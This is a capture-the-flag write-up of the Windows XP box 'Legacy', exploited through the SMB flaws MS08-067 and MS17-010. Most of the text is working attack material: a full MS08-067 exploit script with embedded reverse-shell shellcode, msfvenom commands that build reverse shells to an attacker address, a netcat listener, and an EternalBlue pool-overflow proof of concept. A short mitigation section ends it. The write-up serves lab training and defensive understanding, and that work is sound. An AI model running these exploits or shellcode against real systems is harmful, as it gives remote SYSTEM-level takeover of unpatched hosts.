Legacy
Legacy is an easy-difficulty Windows XP box and a museum piece of SMB exploitation. An unauthenticated, unpatched Server service is vulnerable to MS08-067 (and MS17-010). A single netapi exploit overflows a stack buffer and executes code as NT AUTHORITY\SYSTEM — there is no separate privilege escalation, so both flags fall from one shell.
Overview
Legacy is an easy-difficulty Windows XP machine that demonstrates the danger of exposing SMB on an unpatched, end-of-life operating system. Recon shows ports 139 and 445 open on Windows XP SP3, and nmap’s SMB vuln scripts confirm the host is exploitable via two infamous remote-code-execution bugs. The MS08-067 flaw runs our code directly as NT AUTHORITY\SYSTEM, so a single exploit is both foothold and full compromise.
Recon
| Port | Service | Version |
|---|---|---|
| 135 | msrpc | Microsoft Windows RPC |
| 139 | netbios-ssn | Microsoft Windows netbios-ssn |
| 445 | microsoft-ds | Windows XP microsoft-ds |
The OS fingerprint is Windows XP SP3 with SMB message signing disabled — a strong tell for the classic SMB RCE chains.
1
nmap -sC -sV 10.129.227.181
Enumeration
nmap’s SMB vulnerability scripts confirm the host is unpatched against both MS08-067 and MS17-010 (EternalBlue). Either is a clean path to code execution; MS08-067 is the most direct.
1
nmap -p139,445 --script smb-vuln-ms08-067,smb-vuln-ms17-010 10.129.227.181
OPTION 1
MS08-067 Exploit — jivoi/pentest
1
2
3
4
5
6
7
8
9
10
11
12
13
# pycrypto is broken on modern systems — install pycryptodome as a drop-in replacement
pip install pycryptodome
pip install impacket
# generate shellcode and paste into the shellcode=() variable in the script
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.13 LPORT=4444 EXITFUNC=thread \
-b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# start listener in a second terminal
nc -lvnp 4444
# run the exploit — target 6 = Windows XP SP3 English (NX)
python2 ms08-067.py 10.129.227.181 6 445
CVE-2008-4250 — the root cause is CWE-119 (Improper Restriction of Operations within the Bounds of a Memory Buffer). The Windows Server service exposes a DCE/RPC function, NetPathCanonicalize, that normalises UNC paths. It copies attacker-controlled path data into a fixed-size stack buffer without checking the length, allowing an overflow that overwrites the saved return address. Because no stack canaries or ASLR existed on XP SP3, the script controls EIP directly and pivots through a ROP chain (to handle the AlwaysOn NX variant) before jumping to shellcode. The service running as NT AUTHORITY\SYSTEM means the overflow instantly yields the highest-privilege shell — no separate privesc step exists.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
#!/usr/bin/env python
import struct
import time
import sys
from threading import Thread # Thread is imported incase you would like to modify
try:
from impacket import smb
from impacket import uuid
#from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport
except ImportError:
print('Install the following library to make this script work')
print('Impacket : https://github.com/CoreSecurity/impacket.git')
print('PyCrypto : https://pypi.python.org/pypi/pycrypto')
sys.exit(1)
print ('#######################################################################')
print ('# MS08-067 Exploit')
print ('# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).')
print ('# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi')
print ('#')
print ('# Mod in 2018 by Andy Acer')
print ('# - Added support for selecting a target port at the command line.')
print ('# - Changed library calls to allow for establishing a NetBIOS session for SMB transport')
print ('# - Changed shellcode handling to allow for variable length shellcode.')
print ('#######################################################################\n')
print ('''
$ This version requires the Python Impacket library version to 0_9_17 or newer.
$
$ Here's how to upgrade if necessary:
$
$ git clone --branch impacket_0_9_17 --single-branch https://github.com/CoreSecurity/impacket/
$ cd impacket
$ pip install .
''')
print('#######################################################################\n')
# ------------------------------------------------------------------------
# REPLACE THIS SHELLCODE with shellcode generated for your use
# Note that length checking logic follows this section, so there's no need to count bytes or bother with NOPS.
#
# Example msfvenom commands to generate shellcode:
# msfvenom -p windows/shell_bind_tcp RHOST=10.11.1.229 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# Reverse TCP to 192.168.119.204 port 62000:
shellcode=(
"\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xae\xc3\xb5\x92\x83\xee\xfc\xe2\xf4\x52\x2b\x37\x92\xae\xc3"
"\xd5\x1b\x4b\xf2\x75\xf6\x25\x93\x85\x19\xfc\xcf\x3e\xc0\xba"
"\x48\xc7\xba\xa1\x74\xff\xb4\x9f\x3c\x19\xae\xcf\xbf\xb7\xbe"
"\x8e\x02\x7a\x9f\xaf\x04\x57\x60\xfc\x94\x3e\xc0\xbe\x48\xff"
"\xae\x25\x8f\xa4\xea\x4d\x8b\xb4\x43\xff\x48\xec\xb2\xaf\x10"
"\x3e\xdb\xb6\x20\x8f\xdb\x25\xf7\x3e\x93\x78\xf2\x4a\x3e\x6f"
"\x0c\xb8\x93\x69\xfb\x55\xe7\x58\xc0\xc8\x6a\x95\xbe\x91\xe7"
"\x4a\x9b\x3e\xca\x8a\xc2\x66\xf4\x25\xcf\xfe\x19\xf6\xdf\xb4"
"\x41\x25\xc7\x3e\x93\x7e\x4a\xf1\xb6\x8a\x98\xee\xf3\xf7\x99"
"\xe4\x6d\x4e\x9c\xea\xc8\x25\xd1\x5e\x1f\xf3\xab\x86\xa0\xae"
"\xc3\xdd\xe5\xdd\xf1\xea\xc6\xc6\x8f\xc2\xb4\xa9\x3c\x60\x2a"
"\x3e\xc2\xb5\x92\x87\x07\xe1\xc2\xc6\xea\x35\xf9\xae\x3c\x60"
"\xc2\xfe\x93\xe5\xd2\xfe\x83\xe5\xfa\x44\xcc\x6a\x72\x51\x16"
"\x22\xf8\xab\xab\x75\x3a\xd9\x0f\xdd\x90\xae\x31\x85\x1b\x48"
"\xa9\xa5\xc4\xf9\xab\x2c\x37\xda\xa2\x4a\x47\x2b\x03\xc1\x9e"
"\x51\x8d\xbd\xe7\x42\xab\x45\x27\x0c\x95\x4a\x47\xc6\xa0\xd8"
"\xf6\xae\x4a\x56\xc5\xf9\x94\x84\x64\xc4\xd1\xec\xc4\x4c\x3e"
"\xd3\x55\xea\xe7\x89\x93\xaf\x4e\xf1\xb6\xbe\x05\xb5\xd6\xfa"
"\x93\xe3\xc4\xf8\x85\xe3\xdc\xf8\x95\xe6\xc4\xc6\xba\x79\xad"
"\x28\x3c\x60\x1b\x4e\x8d\xe3\xd4\x51\xf3\xdd\x9a\x29\xde\xd5"
"\x6d\x7b\x78\x55\x8f\x84\xc9\xdd\x34\x3b\x7e\x28\x6d\x7b\xff"
"\xb3\xee\xa4\x43\x4e\x72\xdb\xc6\x0e\xd5\xbd\xb1\xda\xf8\xae"
"\x90\x4a\x47"
)
# ------------------------------------------------------------------------
# Gotta make No-Ops (NOPS) + shellcode = 410 bytes
num_nops = 410 - len(shellcode)
newshellcode = "\x90" * num_nops
newshellcode += shellcode # Add NOPS to the front
shellcode = newshellcode # Switcheroo with the newshellcode temp variable
#print "Shellcode length: %s\n\n" % len(shellcode)
nonxjmper = "\x08\x04\x02\x00%s" + "A" * 4 + "%s" + \
"A" * 42 + "\x90" * 8 + "\xeb\x62" + "A" * 10
disableNXjumper = "\x08\x04\x02\x00%s%s%s" + "A" * \
28 + "%s" + "\xeb\x02" + "\x90" * 2 + "\xeb\x62"
ropjumper = "\x00\x08\x01\x00" + "%s" + "\x10\x01\x04\x01";
module_base = 0x6f880000
def generate_rop(rvas):
gadget1 = "\x90\x5a\x59\xc3"
gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]
gadget3 = "\xcc\x90\xeb\x5a"
ret = struct.pack('<L', 0x00018000)
ret += struct.pack('<L', rvas['call_HeapCreate'] + module_base)
ret += struct.pack('<L', 0x01040110)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L',
rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget1
ret += struct.pack('<L', rvas['mov [eax], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget2[0]
ret += gadget2[1]
ret += struct.pack('<L', rvas[
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget2[2]
ret += struct.pack('<L', rvas['mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['add eax, 8 / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget3
return ret
class SRVSVC_Exploit(Thread):
def __init__(self, target, os, port=445):
super(SRVSVC_Exploit, self).__init__()
# MODIFIED HERE
# Changed __port to port ... not sure if that does anything. I'm a newb.
self.port = port
self.target = target
self.os = os
def __DCEPacket(self):
if (self.os == '1'):
print('Windows XP SP0/SP1 Universal\n')
ret = "\x61\x13\x00\x01"
jumper = nonxjmper % (ret, ret)
elif (self.os == '2'):
print('Windows 2000 Universal\n')
ret = "\xb0\x1c\x1f\x00"
jumper = nonxjmper % (ret, ret)
elif (self.os == '3'):
print('Windows 2003 SP0 Universal\n')
ret = "\x9e\x12\x00\x01" # 0x01 00 12 9e
jumper = nonxjmper % (ret, ret)
elif (self.os == '4'):
print('Windows 2003 SP1 English\n')
ret_dec = "\x8c\x56\x90\x7c" # 0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
ret_pop = "\xf4\x7c\xa2\x7c" # 0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
jmp_esp = "\xd3\xfe\x86\x7c" # 0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
disable_nx = "\x13\xe4\x83\x7c" # 0x 7c 83 e4 13 NX disable @NTDLL.DLL
jumper = disableNXjumper % (
ret_dec * 6, ret_pop, disable_nx, jmp_esp * 2)
elif (self.os == '5'):
print('Windows XP SP3 French (NX)\n')
ret = "\x07\xf8\x5b\x59" # 0x59 5b f8 07
disable_nx = "\xc2\x17\x5c\x59" # 0x59 5c 17 c2
# the nonxjmper also work in this case.
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '6'):
print('Windows XP SP3 English (NX)\n')
ret = "\x07\xf8\x88\x6f" # 0x6f 88 f8 07
disable_nx = "\xc2\x17\x89\x6f" # 0x6f 89 17 c2
# the nonxjmper also work in this case.
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '7'):
print('Windows XP SP3 English (AlwaysOn NX)\n')
rvasets = {'call_HeapCreate': 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret': 0x2e796, 'pop ecx / ret': 0x2e796 + 6,
'mov [eax], ecx / ret': 0xd296, 'jmp eax': 0x19c6f, 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret': 0x10a56, 'mov [eax+0x10], ecx / ret': 0x10a56 + 6, 'add eax, 8 / ret': 0x29c64}
# the nonxjmper also work in this case.
jumper = generate_rop(rvasets) + "AB"
else:
print('Not supported OS version\n')
sys.exit(-1)
print('[-]Initiating connection')
# MORE MODIFICATIONS HERE #############################################################################################
if (self.port == '445'):
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
else:
# DCERPCTransportFactory doesn't call SMBTransport with necessary parameters. Calling directly here.
# *SMBSERVER is used to force the library to query the server for its NetBIOS name and use that to
# establish a NetBIOS Session. The NetBIOS session shows as NBSS in Wireshark.
self.__trans = transport.SMBTransport(remoteName='*SMBSERVER', remote_host='%s' % self.target, dstport = int(self.port), filename = '\\browser' )
self.__trans.connect()
print('[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target)
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(
('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
path = "\x5c\x00" + "ABCDEFGHIJ" * 10 + shellcode + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + \
"\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2
server = "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
prefix = "\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
# NEW HOTNESS
# The Path Length and the "Actual Count" SMB parameter have to match. Path length in bytes
# is double the ActualCount field. MaxCount also seems to match. These fields in the SMB protocol
# store hex values in reverse byte order. So: 36 01 00 00 => 00 00 01 36 => 310. No idea why it's "doubled"
# from 310 to 620. 620 = 410 shellcode + extra stuff in the path.
MaxCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620.
Offset = "\x00\x00\x00\x00"
ActualCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620
self.__stub = server + MaxCount + Offset + ActualCount + \
path + "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00"
return
def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub)
time.sleep(3)
print('Exploit finish\n')
if __name__ == '__main__':
try:
target = sys.argv[1]
os = sys.argv[2]
port = sys.argv[3]
except IndexError:
print('\nUsage: %s <target ip> <os #> <Port #>\n' % sys.argv[0])
print('Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445')
print('Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)')
print('Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal')
print('Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English')
print('Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)')
print('Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)')
print('Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)')
print('')
print('FYI: nmap has a good OS discovery script that pairs well with this exploit:')
print('nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 192.168.1.1')
print('')
sys.exit(-1)
current = SRVSVC_Exploit(target, os, port)
current.start()
OPTION 2
MS17-010 EternalBlue PoC — helviojunior/MS17-010
CVE-2017-0143 — root causes are CWE-119 (buffer overflow) and CWE-20 (Improper Input Validation). The SMBv1 TRANSACTION2 handler in srv.sys fails to validate the TotalDataCount and SetupCount fields against the actual data sent, allowing an attacker to trigger a nonpaged kernel pool overflow. The script sends a crafted SESSION_SETUP and malformed TRANSACTION2 request that overflows a kernel buffer, corrupting adjacent pool memory to overwrite a function pointer in an SMB session object. This hijacks kernel execution flow to run attacker-supplied shellcode as SYSTEM — no authentication required and no user interaction needed, making it wormable (WannaCry, NotPetya).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from impacket import smb
from mysmb import MYSMB
from struct import pack
import random
import sys
'''
PoC: demonstrates how NSA eternalblue triggers the buffer overflow
'''
USERNAME = ''
PASSWORD = ''
if len(sys.argv) != 2:
print("{} <ip>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
'''
To craft FEALIST for nonpaged pool overflow, we need to know following data structures.
typedef struct _FEA { /* fea */
BYTE fEA; /* flags */
BYTE cbName; /* name length not including NULL */
USHORT cbValue; /* value length */
} FEA, *PFEA;
typedef struct _FEALIST { /* feal */
DWORD cbList; /* total bytes of structure including full list */
FEA list[1]; /* variable length FEA structures */
} FEALIST, *PFEALIST;
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
A server need to convert FEA to FILE_FULL_EA_INFORMATION. FEA is byte aligned while FILE_FULL_EA_INFORMATION is DWORD aligned.
For example:
- FEA '\x00\x01\x01\x00n\x00v' (flags=0, cbName=1, cbValue=1, Name='n\0', Value='v')
- to FILE_FULL_EA_INFORMATION '????\x00\x00\x01\x00n\x00v'+'\x00' (last byte is padding)
- FEA '\x00\x00\x00\x00\x00' (flags=0, cbName=0, cbValue=0, Name='\0', Value='')
- to FILE_FULL_EA_INFORMATION '????\x00\x00\x00\x00\x00'+'\x00'*3 (last 3 bytes are padding)
From last example, smallest FEA size is 5 bytes. When it is converted to FILE_FULL_EA_INFORMATION, a buffer size is 12 bytes.
With many small FEA entries, a server need to allocate buffer for FILE_FULL_EA_INFORMATION entries much larger than input.
This is helpful to control the size of vulnerable nonpaged pool.
A FEA flags value is another important value in exploitation. Only 0 and 0x80 is valid flags. Before converting FEA to
FILE_FULL_EA_INFORMATION, the flags is checked first. If the flags is invalid, the converting process is stopped. So we can use
the flags value to controll how many bytes we want to overflow.
'''
# OOB write ~0xcc00 (OOB read ~0x8c00 too because we do not provide enough data for last FEA)
# With this large OOB write and read, page fault should be happen (BSOD)
payload = pack('<I', 0x10000) # FEALIST.cbList
payload += pack('<BBH', 0, 0, 0xc003) + 'A'*0xc004 # FEA
# because of bug in SrvOs2FeaListSizeToNt(), below FEA is converted to FILE_FULL_EA_INFORMATION but a server
# does not allocate buffer for it.
payload += pack('<BBH', 0, 0, 0xcc00) + 'B'*0x4000
# First transaction request MUST be NT transaction because we need to send a data size >=0x10000
mid = conn.next_mid()
# NT function can be any
TRANS2_OPEN2 = 0 # need parameter at least 30 bytes
conn.send_nt_trans(2, setup=pack('<H', TRANS2_OPEN2), mid=mid, param='\x00'*30, data=payload[:1000], totalDataCount=len(payload))
i = 1000
while i < len(payload):
sendSize = min(4096, len(payload) - i)
# As mentioned in BUG.txt, we can send any secondary transaction for filling transaction data.
# Only last request that complete the transaction data need to be correct (TRANS2 in this case).
# We can also send data in any order.
method = 1 if len(payload) - i <= 4096 else random.randint(0, 2)
if method == 0:
conn.send_trans_secondary(mid, data=payload[i:i+sendSize], dataDisplacement=i)
elif method == 1:
conn.send_trans2_secondary(mid, data=payload[i:i+sendSize], dataDisplacement=i)
else:
conn.send_nt_trans_secondary(mid, data=payload[i:i+sendSize], dataDisplacement=i)
i += sendSize
conn.recvSMB()
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
Either will get you NT so pick your poison for the win.
User & Root flag
1
type "C:\Documents and Settings\john\Desktop\user.txt" "C:\Documents and Settings\Administrator\Desktop\root.txt"
Full compromise from a single unauthenticated SMB packet — a reminder of what happens when end-of-life systems sit exposed on a network.
Mitigation
Patch — Apply MS08-067 (KB958644) and MS17-010 (KB4012212). Neither patch exists for XP — the only real fix is decommissioning the host.
Retire end-of-life OS — Windows XP reached end-of-life in 2014. No further security updates are issued; the attack surface grows with every new CVE.
Disable SMBv1 — SMBv1 is the protocol underlying both vulnerabilities. Disable it via Group Policy (Set-SmbServerConfiguration -EnableSMB1Protocol $false) and block TCP 445/139 at the perimeter.
Network segmentation — Legacy systems that cannot be decommissioned immediately must be isolated behind a firewall that blocks inbound SMB. Lateral movement from an SMB worm (WannaCry, NotPetya) depends on SMB being reachable across the network.
CWE-119 — Bounds checking — Both CVEs stem from missing length validation on attacker-supplied input. Modern mitigations — stack canaries (/GS), ASLR, DEP/NX, Control Flow Guard — raise the exploitation cost but do not eliminate the root cause. Correct input validation before buffer writes is the only true fix.
CWE-20 — Input validation (MS17-010) — The TotalDataCount field in TRANSACTION2 was never validated against actual data received. Strict server-side validation of all SMB field lengths would have prevented the overflow regardless of mitigations.



